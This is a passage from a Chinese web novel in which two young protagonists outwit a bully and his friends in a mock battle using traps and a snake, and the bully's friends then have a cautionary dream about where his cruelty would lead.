他引以为傲的东西,在这一刻全都破碎了。 不过,那又怎么样,郭守云暗算他,今日一定要找补回来!他撩起袖子,准备动手。 卢思克正色道:“你们有私仇要了解我不管,不过,夫子们都在湖面上的小船里玩着呢,被发现你们斗殴,恐怕我们也要受牵连。” 他面向刘青青挤挤眼睛:“有没有那种擂台之类的,可以光明正大的打架那种!” 以他的眼光来看,郭守云结实,身手又灵活,萧昕言就是个蠢笨的白斩鸡,两人动手,郭守云铁定不会吃亏,教训一下这个又蠢又坏的萧昕言,顺便让黄字班那些混球怯怵一二。 刘青青正有此意,立马道:“金国杀修建了实战园,双方用的是去了箭头的弓箭对战,萧昕言,你敢去试一试么!” 萧昕言:“……” 真不敢。 他在郭守云手中吃过亏,晓得郭守云的狠劲。 与他同来的狐朋狗友们已经替他答应了下来:“行,光明正大报仇,我们帮你一起,痛殴那个混球出气。” 萧昕言:“……” 总有种不太好的预感。 刘青青领着他们坐上园里的马车,来到一片小山旁。 里头有不少残垣断壁,茂密树木,壕沟碉堡。 刘青青指着一旁的服饰和去了头的弓箭:“这里便是金国杀实战地盘。你们准备几人下场?” 为了区分敌对双方,服饰做成了赵国铠甲,和金国铠甲。 两种铠甲做得很逼真,赵国的是布料的,金国的是羊皮的。 萧昕言毫不犹豫选了金国铠甲,原因只有一个,这个铠甲厚实,耐打。 规则很简单,双方分别从一条入口进去,抢下对方的虎符便算赢。【你现在阅读的是 】 110-120 第111章 第111章亲上了 萧昕言一方,进了五人,除了身材高瘦的萧昕言外,剩下的刘豪、陈敬、祝渊、潘悔,全是身材壮实敦厚,皮糙肉厚的。 对比下来,郭守云一方下场的便有些不够看了,高瘦的郭守云,矮小的刘青青,白面书生卢思克,稍微壮实一点却探头探脑的朱临,还有个凑数的朱拂。 朱临仇大苦深跟在朱拂后面碎碎念:“我是男子,去丛林里滚一圈泥,也没人笑话我。里头树枝茂密,万一不小心刮破你脸上的油皮,回家阿娘得打死我,你老老实实坐在观景台吃点心喝茶不好么?” 有一个不安分的双胞胎姐姐心好累,惹她不开心要被打,容着她太开心也要被娘打。 卢思克眼光微闪,堵在朱拂的前面:“你莫要去了!里头不合适女孩子。” 这是实战打仗的,不是去踏青。 朱拂斜着他,素白的手指往刘青青身上一指:“她也是女孩子,为何她就能去!” 卢思克不经意道:“她从小生长于乡野,如何能一样!”朱拂被朱家娇生惯养如珠似宝的护大,他眼睁睁看着她从一个粉嫩嫩的小团子,变成如今的亭亭玉立。 两人围在铁了心的朱拂身边劝说。 少男少女吵闹声喧嚣着,郭守云敏感的心被扎了一下,如何不一样,她们都是女孩子。 众人都觉得朱拂身份贵重,理所应当该捧着酒杯,吃着点心,悠闲的在精致的闺阁中煮茶弹琴,而不是穿上难看的护甲,狼狈不堪的穿梭在泥潭茂叶中。 他面色有些难堪,捏了捏袖中的拳头,阿青是也他心头的宝,却为了他上天下地,无所不去。这一刻,他迫切的想要出人头地,在这一片改变规则的丛林中,将她庇护在身后。 刘青青半点没觉得被冒犯到,人与人本来就不一样,朱拂是娇媚的金丝雀,她是奔波在世间直面风雨的海燕,各自追寻的路不同而已。 她也劝说道:“朱姐姐,卢师兄,你们帮忙的好意我们心领了,我们知道你们担心我们被欺负,不过,我和阿云自小生活在丛林,不会被他们占到便宜的。” “不如你们都到观景台上,那里可以俯瞰实战园的一切动静,帮我们看看哪里还需要改建。” 朱拂喜欢热闹,一时心血来潮吵着要去,被身边的朋友劝说了一番,幡然醒悟不太合适。 登天梯上走一走不弄花妆容还说得过去,要是去树林和那些灰尘满天残垣断壁里转一圈,她也不用回家了。 心里已经改了主意,只是嘴巴还硬,嘟着嘴冷笑:“卢思克你小瞧人,你去得,我就去得!” 卢思克原本想着帮郭守云去撑腰出头,担心朱拂悄悄摸进去,干脆决定在一边守着。 他把眼光扫向同来的少年们:“我在外面看着,你们谁一起去?” 众人面面相觑,往后缩了缩,大家都不愿意,为了才见一面的郭守云,弄得自己满身臭汗狼狈不堪,他们还没有那么熟。 卢思克正要发火,这些平日里一起玩的朋友也太不给他面子了。 刘青青连忙阻止道:“那行,就这样定下来,正好,我和阿云从小一起长大,配合默契!” 她叫来伙计,领着他们去瞭望台。 入口处,萧昕言五人抱臂而站,恍如五根粗柱子杵在地面,面上挂着讥讽,居高临下睥睨着他们。 郭守云和刘青青换了宽大的赵甲,越发显得瘦小如竹竿一般。 萧昕言两相对比了一下,暗道自己这一方赢定了。 他挽起袖子:“啧,就你们两个小菜鸡啊。建议郭守云你当着大家的面给爷磕头认错,喊我一声爷爷,我宽宏大量,既往不咎,放你们一马。 不然去到里头,拳棍无眼,打折了腿摔断了手,就不好了!” 原本卢思克跟着,他还有些担忧不好下死手,现在卢思克被绊住了手脚,那他便可以肆无忌惮的教训教训这个臭小子,还有那个野丫头,竟然用银子来砸他,势必要打折她的手。 比他家有钱又怎么样,没有权势护着,还不是任人宰割。 刘青青讥笑:“谁摔折了腿,还不一定呢!你说的,输的一方叫另外一方爷爷,你可莫要当甩赖的癞-□□!” 两人背上弓箭,带了绳索,转过身对着他们比了个中指,兔起鹘落,几个闪身便消失在丛林间。 萧昕言气得牙痒痒,和刘豪几人抓起弓箭、长棍追了进去。 顺着两人消失的方向,五人或跑或走,总能看见他们的背影,但一直逮不到。 追在后面赶了大半个时辰,累得实在跑不动了,刘豪体胖,一铺瘫软在地上喘着粗气:“我,我实在走不动了,这两只兔崽子,实在跑得太快,我总觉得,这两只兔崽子把我们当狗溜呢!” 前面的身影在野地里如鱼似水,滑溜的左钻右躲,灵巧无比。 他们就不行了,身上穿着护甲没事,但是腿和头没有护甲,不时被树枝刮到,留下了细小的伤口,被汗水一浸,火辣辣的疼。 萧昕言小心陪着笑脸:“哥几个起来,那个小娘皮摔了好几次,想必走不动了,我们抓住他们,狠狠打一顿,只要不死就行。 为兄弟出了这口气,我做东请兄弟们去遇仙楼搓一顿,随你们点!” 同来的几个,家境和萧家差不多,只有过生辰的时候,才舍得去遇仙楼点一桌子菜。听说遇仙楼上了新 菜松茸,鲜美无比,一直没去吃,正惦记着呢。 几人相携起身,杵着长棍,继续往前面的身影追去。 观景台上的两拨人,诡异的保持了安静,静静的看着实战园里的情景。 因为他们发现,萧昕言几人,实在太蠢太瞎。 怀里揣着虎符的刘青青,就在他们的头顶树杈上,几人却视而不见,依旧追着郭守云跑。 若在真实的战场上,几人想必已经领了盒饭。 实战园中的萧昕言几人,追着又跑了一刻钟,发现前面的刘青青趔趄了一下,摔倒在地上,郭守云折身,将她扶着坐到了处墙壁后,只露出个后脑勺。 五人相视一笑,举着弓箭,长棍围了上去。 郭守云看见他们来,纠结了半响,转身独自跑了! 跑了! 几人愣了一下,掐着腰哈哈大笑起来,鄙视的笑骂:“果然是孬种,竟然丢下受伤的小娘皮独自,跑了!” “软骨头一个!” 萧昕言眼底闪过狠厉:“只剩小娘皮,你们说,要是她没了清白,以后是不是就对我们言听句从?” 陈敬四人皱了一下眉,家里都有姐妹,见不得这样的事。一段时日不见,感觉萧昕言有些变了。之前大家一起淘气挑事,但有个度,不会做违法乱纪的事情。 刘豪呸了他一口:“萧昕言你莫要恶心,打一顿叫她知道怕,莫要做这样丧尽天良的事。” 萧昕言眼底闪了闪,那是他们不晓得郭守云家的情况。 这个园子都是刘家的,郭守云无父无母的孤儿,靠着刘家身价上万。若刘家的女婿换成他,那刘家的家财不就是他一个人的了么。 被骂了一顿也不恼,他眺了一眼远处的观景台,上面坐着两班人马,确实不太好操作。得找个僻静的地点。 他展眼一看,小娘皮不远处便有一座修建好的碉堡,不如把她拖到里头去。不过,身边的四个曾经好友读书读傻了,对着敌人还讲什么仁义道德,虚伪,先把他们打发走。 萧昕言点头道是:“我说笑呢,就是吓唬吓唬她,诺,你看,她吓得抖成一团摔倒了。那边有个碉堡,我把她关进去,你们先去追郭守云,我马上便来!” 四人不疑有他,叫他快一些。 萧昕言几步跳到刘青青面前,见她吓得趴在地上扭个不停,狞笑着去扯她头上的布巾。 他其实有一瞬间的疑惑,人为什么会扭,对,是扭这个词。 只是,他看见了什么? 扯开的头套下,不是刘青青那张讨人厌的小脸。 而是拳头大的蛇头,两只燃着火焰的幽冷冰瞳瞄准了他,吐着分叉的血红舌头,张开血盆大口,露出四颗泛着寒光的尖牙,扑在他脸上。 萧昕言吓得面无血色,双手护着脑袋,尖利大叫,当场便尿了裤子。 刘豪四人听到惨叫,折回身举着长棍查看。 只见萧昕言捂着头滚在地上嚎叫,一条幽绿的大蛇昂着脑袋扫了他们几眼,好似估量出占不到便宜,摆着尾巴钻入草丛一闪不见。 陈敬扒开嚎叫的萧昕言的手,疑惑道:“奇怪,那是青蛇,毒性很强。他脸上两个血洞,并没有中毒!” 想必毒液已经被郭守云提前放了,看不出来,这小子做事有分寸。对比下来,萧昕言就显得心胸狭隘狠毒了些,竟然有毁人清白的念头。 他嫌弃的退后了几步,用棍子杵了杵他:“行了,别嚎了,被咬了一下,多大点事!” 他拿棍子,远远掏了掏残垣下衣服,根本不是刘青青,而是一些杂草。 刘豪眨眨眼,指着杂草和大蛇疑惑道:“刘青青是草妖精么?” 潘悔面上变了几变:“妖精啥啊,我们中了郭守云的暗算,那小子弄条蛇在衣服里,引着我们上钩呢!” 他们又将目光落在萧昕言的脸上,只见他嘴角和脸颊上各自有一个血洞,血肉模糊,狼狈不堪。 祝渊是个狭促的,挤挤眼笑道:“萧昕言,你不是要做刘家的女婿么,这刘家女婿没做成,倒做了青蛇的女婿,也太心急了些,都亲上了啊!” 萧昕言:“……” 他没好气骂道:“郭守云实在卑鄙奸诈,等我抓住了他,必要下了他的腿!” 陈敬把弓箭砸到他脚边,冷笑:“你一个人去抓罢,哥几个不玩了!” 第112章 第112章你们脑子有病 萧昕言捂着脸,面色难看至极:“陈敬,你什么意思!” 陈敬冷哼一声:“就是哥几个不想再做冤大头,被你当枪使!”他懒得搭理萧昕言,看了身边的几个损友:“你们走不走?” 祝渊、刘豪面面相觑,潘悔扫了一眼,躺在地面露出大半个草脑袋的假人,上面被蛇钻出一个洞,好似长大的嘴巴,在嘲笑他们的愚蠢。 他有些心塞:“走,我和你一起!” 这几个人中,陈敬一手长棍耍得密不透风,潘悔号称智多星,是小团体里的武力智力担当,若他们走了,萧昕言真没把握放翻郭守云。 萧昕言顾不得脸疼了,堵到他们前面讥讽:“怎么,一条蛇就把你们吓得当王八啊?也不怕传出去,堕了黄字班五大金刚的名头!” 陈敬看着他:“莫要再提五大金刚。我陈敬大好男儿,竟然与你这样的奸-毒小人为伍,是我这辈子最大的耻辱!” “我不是怕了青蛇,也不是怕了郭守云,我是恶心你做事狠毒阴险没底线!” “郭守云被我们一路紧追,不忘悄悄将刘青青藏起来,独自一人引着我们溜圈,说明他重情义,宁愿一人面对险恶,也不愿未婚妻犯险。 抓蛇算计我们,不忘记放了毒,他做事有底线分寸,不想伤了我们性命。” “对比之下,你干了什么?” “你口口声声说他算计与你,可是这一路来,我只看见你对人家羞辱嫉恨,骂骂咧咧要打断他的腿,折断他的手,你明明知道对于读书人来说,瘸腿断手等于绝了读书这条路,但你还是没有丝毫犹豫。” “这些便算了,你却想坏人清白!你是在太让我恶心!” 萧昕言面如土色:“我,我只是胡乱说说,哪里就当真了。” 潘悔面色晦暗指着地上的草人:“你不是说说,你是真的这么做了,只是没成功!” “你把我们打发走,独自一人过来,就是打着欺负人的主意。” “若没有一点心思,你不会用手去揭草人的头巾,而是应该提着她的手臂,把她扯到碉堡里关起来,来追我们。” “你还有什么想狡辩的么?” 刘豪和祝渊听了这话,以己度人,确实是这个道理。 他们赶着追郭守云,若抓到了刘青青肯定是将她关起来,平时的教养让他们不会对女孩子动手动脚,必然是扯着手膀子丢到碉堡里关好完事,不会特意去看人家的脸。 两人嫌恶的往后退了退,站到陈敬和潘悔的后面:“我们也走!” 萧昕言身子晃了几下,若他们都走了,自己还受了伤,定然输定了。 他心有不甘,满脸嫉恨讥笑:“我看你们就是怕了!” “知道郭守云不再是乡下的土小子,而是身价上万的地主家傻女婿,上赶着巴结人家,也不看看,人家要不要你们去捧臭脚!” “你们和我一样嫌贫爱富,欺软怕恶,还在这里说些冠冕堂皇的借口,恶心!” 正是十六七岁的少年,全是中二的年纪,又混又仗义,哪个受得这样的激将。 陈敬捏着长-棍的手青筋毕露,忽而笑道:“那行,今日就叫你见识见识爷们的手段,我们捉住郭守云,当着他的面,将你的手脚敲断,好叫他知道爷们的厉害!” 萧昕言:“……” 不是,你们要他知道厉害,你敲断我的手 脚作甚,敲郭守云的啊。 潘悔在一旁拍掌而笑:“这主意好,反正你也被府学开除了,断手断脚是不怕的!就当个杀鸡儆猴的鸡崽好了!” 萧昕言瑟瑟发抖,艰难的挤出一抹笑:“兄弟们别说笑了,快走吧!” “谁和你开玩笑了!”陈敬干脆利落的一棍子敲在他后膝盖弯,将他放倒,逮住他的手脚些微用了点巧力,咔嚓几声,便把他双手双脚挣脱臼。 他家开了个医馆,从小耳目熏染,这事对他是小儿科。 刘豪体贴的哼哧哼哧将手脚不能动弹的萧昕言拖到残垣边靠着,和假人并列靠在一起。 陈敬嫌弃拍拍手上不存在的灰:“你老实坐在这里等我们回来,莫要乱动,免得脱了臼的关节凑不回去!” 萧昕言:“狗丧的娘西皮&*@#¥%……&” 香蕉个巴拉,有一群四肢发达脑子不清楚的酒肉朋友是什么感觉。 陈敬听不得人说脏话,戚了戚眉,提供一套龙服务,把萧昕言的下颌也扭脱臼。 萧昕言:“啊呃啊呜哦……” 祝渊犹豫:“万一有野兽来袭击他这么办?” 潘悔淡漠道:“那便是他的命,走吧!” 这是青华园修建的实战园,能挖出一条冬眠了的蛇那是郭守云的本事大,若还有其他攻击性猛兽,青华园也不用开了,直接关门倒闭了事。 当然,这个小问题就不用告知萧昕言了,凭他指鹿为马的脑子,一定想不到。 四人这次小心了许多,陈敬在前探路,潘悔次之,祝渊刘豪殿后,呈三角形一路观察丛林里的蛛丝马迹,追击郭守云。 穿枝拂叶了半响,连个鬼影子都没看到。 刘豪丧气不已,一棍子扫在一帮的树枝上:“你们说,那小子会躲在哪里?” 小团体的智力担当潘悔想了想:“不好,中了他调虎离山之计,只怕他们两人去收拾萧昕言了!” 虽然不喜萧昕言的作风,但现在几人算是一个团队,虎符还在萧昕言身上,若被得了去,他们以后在同窗面前也没脸。 四人撇撇嘴返身飞跑起来,果然在看见了郭守云的身影,他一脸疑惑,拿着根长棍,靠近啊呜喔个不停的萧昕言。 刘豪一面跑一面大喊:“他毫无还手之力,你休要伤他!” 看见他们来,郭守云的长棍毫不犹豫的狠狠落了下去,几人睚眦欲裂,越过前边的障碍扑了过去。 只是下一瞬间,天旋地转,他们全部被绳子倒掉了起来,在树干上晃晃悠悠徒自挣扎,如同蜘蛛网里的蚊子。 眼角发现,郭守云的长棍狠狠落在萧昕言头边的矮墙上,击飞无数黄土。 等漫天的黄灰落下,他挑起棍子下成了个肉饼的一只毛毛虫晃了晃:“你们跑那么急作甚,这毛毛虫会咬人,我帮萧昕言打死了!” 手脚不停使唤的萧昕言,鼻涕眼泪横流:“……” 呜呜呜,有那么一瞬间,他感受到了郭守云眼中冰冷真实的杀意,以为要脑壳要开花!他毫不怀疑,若不是观景台上还有众多同窗,今日便是他毙命之时。 郭守云幽幽的看了他一眼,轻飘飘道:“这一次你运气好,下次让我发现你对刘青青生了龌龊的心思,我不保证,还能忍住,不剥了你的皮,抽了你的筋,把你的肠子剁了喂黑熊。” 他的语气很平静,仿佛说的是今天天晴一样。暂时松了一口气的萧昕言:“……” 吓得再次尿湿了裤子,哭了起来,呜哦呜哦再也不敢了! 郭守云冷冷看他一眼,棍子扒拉出他怀里的虎符,走到陈敬面前晃了晃:“我们已经赢了,你们还有何话说?” 一只脚被倒掉在树上,全身的血液因为重力作用冲到脑袋中,让人隐隐想吐。刘豪头缓脑胀破口大骂:“卑鄙小人,就会些阴谋诡计,有种放下小爷,小爷与你单挑!” 郭守云不解:“丛林里老虎用尖利的爪牙,黑熊靠无穷的大力,狼群依靠群体作战,青蛇用自己的毒牙,都是用自己最厉害的技能打败对方,获取猎物。 我年岁没你们大,身材不如你们壮实,你们竟然要求我用力气打败你们,你脑子有病吧,难怪这么大年纪,还没考上童生。” 世界在旋转的陈敬,一张黑脸涨成了猪肝,不晓得是倒吊着充血,还是因为羞恼:“阿豪,别嚷嚷了,我们认输!” 就凭郭守云在丛林里来去自如,他们猛追不上,还中了他设置的陷阱,让他们倒掉起来,他们便输了。 郭守云并没有取笑他们,认真的仰头看着另外几人:“你们呢,认不认输?” 潘悔、刘豪、祝渊:“……” 不认行么,鼻血都快吊出来了! 郭守云得了保证,放下绳索,将三人放了下来:“行吧,你们抬着萧昕言先出去,我还要去接刘青青。” 潘悔憋了半响实在忍不住:“你把她藏在哪里?” 说起刘青青,郭守云面色浮现出笑意,还带了一点内疚,语气里都是心疼和对他们的厌怼:“都是因为我,她也跟着进来奔波劳累,现在还在那里受苦!” 众人心想,难道是猫在哪个草窝里? 当几人看到受苦的刘青青时,一脸的无语。 高高树冠里的刘青青,在三个树杈中间,她坐在一个衣服做成的垫子上。悠闲的晃着脚,捧着一个小本子写写画画,不时从荷包里掏出把瓜子嗑一下,不忘记把瓜子壳放到另一个明显是男款的荷包里。 潘悔不动声色瞟一眼郭守云的领口和腰间,果然,他的里衣不见了,荷包也不见了。 陈敬眉角跳了跳:“所以,你一直在这里?”他们从这颗大树下饶了好几圈。 刘青青笑嘻嘻晃了晃手中的虎符:“是啊,我负责藏好虎符。” 郭守云负责带着他们溜圈,等把他们溜得体力消耗完,再一锅端了。 潘悔在心里自动补充完她未尽的话语。 看着两个明显稚嫩的脸庞,潘悔生出自己已经老了的感觉。 刘青青下来后,幽幽走到萧昕言面前蹲下:“听说,你想做我家的女婿?” 啧,他们的谈话全被人家听去了。陈敬几人面上尴尬,扭过头不敢吭声。 萧昕言:“呜哦捂额哦……”错了不敢了。 刘青青脸上爬满了黑气,从怀里掏出个瓶子对着萧昕言的眼睛洒下去:“这是我从青蛇毒牙里抠出来的毒液,你慢慢享受吧。” 随之响起来的,便是萧昕言凄厉的叫声:“阿——” 第113章 结交他 陈敬跳起来,拍一声打飞刘青青手里的小瓷瓶,因为力气太大,刘青青也被拍了一个趔趄,退了好几步才站稳。 郭守云飞身一脚踹在陈敬的身上,两人噼里啪啦交起了手。 刘豪几人要上前帮忙,刘青青堵在他们前面,大声讥讽:“你们已经认输了,竟然出尔反尔,还以多欺少,以大欺小,好大能耐!” 潘悔止住身形,挡住刘豪和祝渊,脸上阴沉不定:“萧昕言已经认错,何苦穷追不放,以死想逼,你太狠毒了些!” 刘青青嗤笑:“感情刀子没扎在你们身上,所以一点都不疼。 在府学被孤立欺辱的是郭守云,饿着肚子吃不到饭的是郭守云,差点失去清白的是我,你们当然无所谓!” “什么叫他知道错了?萧昕言一句知道错了,他曾经犯下的错,做的孽,就可以弥补了么?若不是阿云机智聪明,退学的便是阿云,若不是我提前躲了起来,现在趴在地上痛哭的便是我,因为恶人一句轻飘飘的知道错了,那些受伤的人,便好了么!” “再说,他死了么,我让他涨涨记性,有什么错?” 潘悔被她怼得哑口无言,瞟一眼地上眼睛红胀的萧昕言,中气十足痛哭哀嚎,看着着实凄惨狼狈,但不像有生命危险的样子。 也好,给他一个教训,叫他以后不要随意生出龌龊的心思。 躺在地上的萧昕言,眼睛里火辣辣的疼,犹如在太阳上烤,又如万只蚂蚁一起撕咬。眼泪失去了闸门,磅礴而下,正在痛苦绝望之际,嘴巴被塞进个圆溜溜的东西,他一时不觉,囫囵咽下了肚。 刘青青恶魔般的声音在耳边响起:“今日众多人眼皮子底下,算你走运,给你服下了毒蛇的解药,过个半刻钟,你眼睛中的蛇毒自然会被压制。” “青蛇天生喜-淫,你以后若再生龌龊的心思,保不齐勾起体内的蛇毒,到时候你不用寻医问药,因为没用。 乘早悄悄找个坑自个埋了,全身灼痛腐烂而死。 你只管回去求医问药,看哪个大夫能诊得出来。” 不晓得是得到了她的保证,还是因为吞下肚的解药起了效果,萧昕言挤挤眼,眼睛的灼痛没有适才激烈了,忙不矢点头。 刘豪三人黑人问号脸,满眼通红流泪的萧昕言不知道,他们亲眼看见刘青青随意从荷包里摸出了个花生粒丢到萧昕言的嘴巴里,怎么就变成了蛇毒的解药了? 若萧昕言以后不再欺负女孩子,也算是功德一件,三人默契的没有开口。 几人将视线落在那边打斗的郭守云和陈敬身上。 陈敬比郭守云高出一个头来,体型也是他的两倍,原以为是压倒性的胜利,真实情况,根本不是。 两人打斗的场面,颇有灵巧的猴子逗弄发怒黑熊的感觉。 郭守云总能利用身边得一切,手边的树枝,脚下的荆棘,随意生长的松果,给陈敬带来麻烦,比如陈敬一拳击出,却被郭守云轻巧避开,而陈敬的拳头落在树皮干枯的大松树上,大家甚至能听到砰一声闷响,可以想见有多疼。 在大家的吸气声中,游刃有余的郭守云借助树杆,一个鹞子翻身上了树,避开陈敬的飞扑。追击的陈敬呼哧呼哧喘着粗气,扑空失去重心,被荆棘绊倒,向前摔倒,而他的前面,有一截断裂的枯树桩,尖利的树桩犹如猛兽的尖牙,正对陈敬的咽喉。 刘豪三人睚眦目裂,焦急大叫,刘青青轻飘飘叫了声阿云。 郭守云犹如背后长了眼睛,去而复返,一脚踹在陈敬腰间,将他踹歪了一寸,堪堪脸颊擦着树桩摔在地上。 他摔得很重,激起了无数的灰尘。 趴在地上的陈敬,僵直着身子后怕不已,眼睛直直盯着脸颊旁带着血丝的枯树桩,甚至能看清尖利树桩上,调理分明的纹路,差一点,差一点,这尖利的树桩就要插进他的喉咙。 若不是郭守云翻身一脚,他估计已经见了阎王。 陈敬软着腿,站起身来看着矮他一个头的郭守云,脸上面幻莫测,半响,终是低头作揖:“你救了我一命,以后但有差遣,尽管吩咐!” 刘豪三人面面相觑,也走到他身后,对着郭守云真心实意道谢:“你救了陈敬,便是我们的恩人,有什么要求尽管提!” 他们这一天对郭守云的心态很复杂。 从一开始,因为萧昕言的话语对他很是厌恶,知道他吃软饭的看不上眼,到应战时的不卑不亢,毫无退缩,他们觉得,这人好像不是印象中那回事。 他们悄无声息的改变了态度。 进了实战园以后,他藏起刘青青,独自应对他们的追击,用陷阱将他们困住,现在正面将陈敬打倒,还救了陈敬一命,几人真心实意佩服他,想交好他。 郭守云有些无措,茫然的看着陈敬相握的手掌:“不打了么?” 刘青青与他并肩而立,握着他的手:“你都打赢他们两次了,还打啊!” 她似笑非笑对着四张涨成猪肝的脸,没好气道:“差遣不敢当,要求倒是有一个,以后不许欺负孤立郭守云,也不许欺负孤立任何一个同窗。” 四人:“……” 真没有欺负孤立谁,都是萧昕言那厮做下的恶。 几人懒得去抬萧昕言,陈敬忍着厌恶重手重脚把他脱臼的关节凑了上去,几声惨叫后,萧昕言摇摇摆摆的站了起来,远远的跟着几人后面。 出了实战园,萧昕言又怕又惧,远远的作了个揖,蒙着脸走了。 陈敬四人还要去观景台找同来的姐妹同窗,刘青青看着几人一身的狼狈,满身灰尘,嫌弃挥了挥鼻子,对身边的伙计道:“你带着他们去主题客栈,开两间屋子,给他们清洗收拾一番。” 正说着,观景台的同窗们已经走到门口,视线在他们身上打了几个转,最后落在郭守云身上,眼底里全是敬佩。 卢思克笑哈哈的拍着他的肩膀:“不愧是阿爹看中的弟子,果然不错。有勇有谋,聪明机智,好!” 实战园的一切都被他们看在眼里,郭守云的表现可圈可点,以弱胜强。 而且,郭守云刘青青穿着是赵国的战甲,陈敬五人穿的是金国的盔甲,让他们不自觉的带入金国和赵国的战争。 玄字班的男孩都是童生,多少了解一点时政。 金赵对战中,赵国一直处于败势,朝廷里流传了一股绝望观点,赵国人体弱,不是金国人的对手,战败是命中注定。 现在大家从他们的对战上发现,体弱也可以将强壮的一方打败,无形之中,在大家心里燃起了一丝希望。 赵国,不会一直是战败国的,赵国,也许有反败为胜的那一天。 一个伙计跑来小声说了几句,刘青青不好意思笑道:“各位哥哥姐姐,厨房里因菜式较多,还没准备好,大家也在观景台吹了半天风,不如一起去我们的主题客栈歇歇脚,顺便梳洗一番,可以么?” 可以啊,里头的女孩们立刻点头。 吃饭哪有补妆重要。 结果,这一补妆,大家差点补成死宅,不愿再出门。 因为主题客栈,实在太新奇太舒服了。 朱家是这一伙少年少女中,最富足的一家,但朱拂仍旧乐不思蜀。 脸盆竟然是雪白的陶瓷,像个莲花大碗一样。上面有一个铁质的管子,轻轻一扭,温热的水哗哗哗从里头跑出来,落到雪白的陶瓷脸盆中,再顺着下面的洞洞溜走。 不用等丫头烧水搬水。 马桶也是雪白的陶瓷,上面一个按钮,按一下,清水便流出来冲走秽物。 人家是美美的小仙女,每次让丫鬟处理马桶,都有种不自在的感觉,现在呢,完全不用了,手指头一按,清清爽爽。 她的目光落在净房里间,顶上倒吊着着的铁质莲蓬上。那里的管子上,也有一个像脸盆上的开关,她顺着一扭,莲蓬下雨般,喷洒出晶莹温热的雨莲。 朱拂开心的笑了起来,站到莲蓬下,让温热的雨水淋湿全身。 这种洗澡方氏实在太棒了。 在家的时候,她洗个澡身边有五个丫头,两个丫头打水,两个丫头搓澡,一个丫头丢花瓣。 小仙女不开心的是,即便每日洗澡,她身上依旧能搓出白泥,那些泥飘躲在花瓣下,别提有多糟心。 现在呢,温热的水,顺着头顶流下来,冲走身上的澡泥,清清爽爽,干干净净。 而且,每个月总有那么几天,不能泡澡,现在呢,完全不怕了,她决定,回府后也要打造一套相同的净房。 洗完澡的朱拂有些累,任由跟来的丫头给她穿上衣裳,坐在凳子上让丫头给她绞头发。只是,梳妆台上这个奇奇怪怪的东西是啥? 像个马头一般,大大的木头脑 袋上长着一个圆桶长嘴,后面还有摇柄。 她好奇的拿起来一看,转动上面的摇柄,竟然有凉风从嘴巴里喷出来。她把凉风对准头发,让丫头不停的摇动手柄,不一会,头发全部干掉了,干掉了。 嗯,这是个好东西,必须带回家。 吹干头发的她,忍不住扑到身后雪白的大床上,一下子便陷了进去,整个身子都没埋进了被子里。 朱拂开心的在大床上打了几个滚,爬起来蹦了几下,她竟然被弹起来,太神奇了,只铺了一层垫子,竟然比家里的床铺还要软。 她又打了两个滚,这个床也必须搬回去。 她陷在软软的被子里,实在太舒服了,不一会便陷入了梦乡,心想,今日来得真是太值了,竟然发现了这么多好玩的东西。 第114章 第114章主食 陷入梦乡的不仅是她,还有陈敬潘悔等人。 府学平时教导学子们上课习字,读书破题,没有上体育课一说,几人随着郭守云在实战园里摸爬滚打大半天,浑身累得又酸又疼,扭开开关冲了个凉水澡后陷入软软的床榻,不到一炷香便打呼打得地动山摇——睡起午觉来。 多亏青华园里的主题客栈隔音好,才没有吵闹到隔壁。 不晓得是不是因为几人的房间壁画画着武松打虎图,整体布置也像在丛林里一样,就连被子床罩都是草地的颜色,他们恍恍惚惚又走到森林。 依旧是他们五大金刚,这一次,萧昕言没有被开除,日日和他们混在一起,和他们关系更铁。他骂骂咧咧:“黄字二班的周壮是个横的,竟然背后羞辱我们。 敢说不敢当,日日缩在夫子身边。我打听到他今日要去他舅家探亲,哥几个堵在半路,给他一点教训。” 他们四人跟着身后,几人笑嘻嘻搬了一根横木设置路障,一脸理所当然,好似这样一言不合便揍人的事,非常娴熟。 蹲了半个时辰,果然看见一架马车,晃悠悠从路口哒哒哒跑来,停在路障前,瘦弱的周壮跳下马车和马车夫一起搬动横木。 他们五人从树丛后跳了出来,嘻嘻哈哈堵在两人面前,开始推搡周壮,周转瘦小腼腆,脸上满是惊恐委屈,没有人询问,周壮真的辱骂人了么。 马车夫见事不对,折身便跑。 他们无所谓,扯着周壮极尽羞辱,从一开始的谩骂,扇耳光,到后面的拳打脚踢。 周壮苦苦求饶,气若游丝,赌咒发誓从没说过他们的闲话,只是那日在路上无意中多看了一眼萧昕言,没有任何意思,不晓得为何会引来这无妄之灾。 然而,他们好似昏了头,中了邪一般,依旧不依不饶。 半响,发现周壮躺在地上像一只虾子,无意识的护住脑袋,奄奄一息,他们无所谓的把他抬起,丢到了马车上。 在要离开之际,萧昕言翻找马车上的财物,竟然发现了周壮的妹妹,小姑娘十六七岁,死死的咬着唇,藏在车凳子下哭得花容失色,面无血色。 萧昕言那厮看人家俏丽,竟然起了龌龊的心思,叫他们在外面放风。 不要答应不要答应,快阻止他! 另外一个自己,竟然只是嫌弃的撇撇嘴,叫萧昕言快些。 半空中飘荡的陈敬眼睛血红破口大骂,恨不得掐死下面那个和自己一模一样的人。 他红着眼睛听着车里女孩凄惨的求饶声,下面那个自己,竟然无动于衷,甚至还走远了一些。 不一会传来萧昕言气急败坏的破骂晦气。 他们透过掀开的帘子一看,小娘子宁死不屈,自己抹了脖子,刺目的鲜血躺得满满一车厢。 几人好似见怪不怪,碰头在一起,商量着接下来去哪家酒楼喝酒、喝酒! 这是多么狼心狗肺的人,才能在发生了这样的惨案后,没有半点愧疚不安,还心思去吃饭喝酒! 他们五人在餐桌上当场被抓,萧昕言振振有词,是她自己用剪刀抹了脖子,与人无关。 知府大人亲自拿人,气得浑身发抖,声色俱厉:“你们无法无天,欺男霸女,闹出人命,萧昕言主犯判秋后问斩,你们四人是非不分,助纣为虐,漠视人命,充作奴隶,发配煤窑,不得再见天日。 带回去,先打上三十大板!” 被打的那一瞬间,他们才知道,原来打着真的会疼,连皮带骨钻心的那种疼。 陈敬飘在空中,木然的看着下面的自己痛哭哀嚎,后悔不已,看着周壮满脸青紫痛哭流涕拿头去碰那个小姑娘的墓碑。 他心中突然响起了一句话:“恶人做错了事,一句对不起就能轻轻飘飘掩盖那些血淋淋的伤痕了么!” “要不是阿云机智聪明,要不是我提前躲了起来,你以为,现在趴在地上哭得会是谁?” 他忽然惊醒,浑身冷汗,大口大口的喘着粗气,犹如脱水的鱼。惊疑不定的看着四周,打开门在隔壁房间找到刘豪潘悔几人,他们也是一脸帐然若失。 